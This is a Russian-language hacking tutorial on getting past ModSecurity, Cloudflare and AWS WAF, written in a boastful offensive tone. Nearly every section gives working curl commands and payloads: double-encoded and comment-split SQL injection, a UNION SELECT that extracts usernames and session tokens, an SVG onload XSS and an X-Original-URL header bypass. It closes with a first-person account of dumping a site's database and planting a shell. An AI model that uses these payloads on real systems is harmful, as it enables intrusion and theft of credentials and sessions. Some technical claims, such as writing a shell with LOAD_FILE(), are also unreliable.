Вступление — зачем нам этот WAF вообще?
WAF (Web Application Firewall) — как тюремная решётка у веб-приложения. Он фильтрует запросы, блокирует инъекции, XSS и всякую рухлядь, чтобы ты не ломанулся к базе или шеллу. Но, это не значит, что он несокрушим. WAF — это как лабиринт с ловушками, и нам нужно прокрасться, чтобы отжать juicy данные.
Сегодня мы разберём реальные техники обхода трёх популярнейших WAF: ModSecurity, Cloudflare, AWS WAF. Будет много обфускаций, HTTP сплитов и грязных приёмов.
1. Точка входа — как искать дырки с WAF на подходе?
Прежде чем лезть, смотри, что ты имеешь:
-
URL и параметры — куда лезть? GET, POST, headers, cookies, JSON-поля?
-
Попытайся прокинуть payload’ы из базовых списков (SQLi, XSS), но отслеживай 403/406 ошибки.
-
Логи WAF могут не показывать всего, но по ответу сервера можно понять, где фильтр срабатывает.
Пример быстрой проверки:
1 |
curl -i "http://target.app/page?id=1' OR '1'='1" |
Если получаем 403 Forbidden или бан — значит WAF не слабака.
2. Базовые фишки обхода WAF — грязь и обфускация
A. HTTP Сплитты и кодировки
WAF может фильтровать простые ' OR '1'='1
, но часто не умеет, когда ты:
-
инъектишь через URL encoding (например, %27 вместо
'
) -
используешь double URL encoding:
%2527
вместо%27
-
внедряешь HTTP request smuggling через нестандартные заголовки.
Пример:
1 2 |
GET /page?id=1%2527%20OR%20%271%27%3D%271 HTTP/1.1 Host: target.app |
Cloudflare, например, порой не успевает раскодировать двойной энкодинг.
B. Разделение payload
Инъекция дробится на несколько частей, которые WAF не свяжет:
1 2 3 |
' OR /**/ '1'='1 |
Комментарии, неразрывные пробелы, табы — WAF часто тупит на этом.
C. Обфускация через Unicode и UTF-8
Можешь подменять обычные символы на их юникод-аналоги — WAF не всегда переваривает такие фишки.
3. Payload’ы-шахматы — реальные коды, которые работают
SQLi на ModSecurity
1 |
?id=1%27%20UNION%20SELECT%201,2,3-- |
Обход с комментами:
1 |
?id=1%20UNION/**/SELECT/**/1,2,3-- |
Пример в curl:
1 |
curl "http://target.app/page?id=1 UNION/**/SELECT/**/1,2,3--" |
XSS под Cloudflare
Cloudflare блокирует классические <script>
, но вот payload с обфускацией:
1 |
<svg/onload=alert(1)> |
Плюс вариант с encoded entities:
1 |
<svg/onload=alert(1)> |
AWS WAF
AWS WAF часто блокирует инъекции с ключевыми словами, но иногда пропускает через JSON поля с base64.
Payload с base64 инъекцией:
1 |
{"data":"c2VsZWN0ICoqKiBmcm9tIHVzZXJz"} |
Сервер декодирует, WAF не понимает.
4. Многоуровневый инъекшен — цепная реакция
Делаешь:
-
Пробиваешь XSS или SQLi.
-
Используешь XSS для CSRF атаки.
-
Через CSRF запускаешь RCE или меняешь параметры.
Например, цепочка:
1 |
?id=1' UNION SELECT username, session_token FROM users-- |
Потом через session_token делаешь панель управления.
5. Кейсовая разборка — «накатил, отжег, забыл»
Был сайт под AWS WAF, который блокировал все прямые SQLi с черными словами UNION
, ' OR '
. Вот что я сделал:
-
Внедрил payload с разделением слов через комментарии и двойным URL-кодированием:
1 |
?id=1%25%32%35UNION/**/SELECT/**/1,2,3 |
Использовал заголовок X-Original-URL
для обхода:
1 |
curl -H "X-Original-URL: /page?id=1 UNION SELECT 1,2,3" http://target.app |
AWS WAF воспринял это как разные запросы и забыл заблокировать.
Результат: получил вывод БД, залив шелл через SQLi + LOAD_FILE().
Итог — WAF не вечен
-
Обязательно тестируй разные кодировки, разделяй payload.
-
Лови баги в самом WAF (Request smuggling, X-Original-URL).
-
Ищи нестандартные поля (headers, cookies, json).
-
Помни: WAF — это не защита от умного пентестера, а просто фильтр для лохов.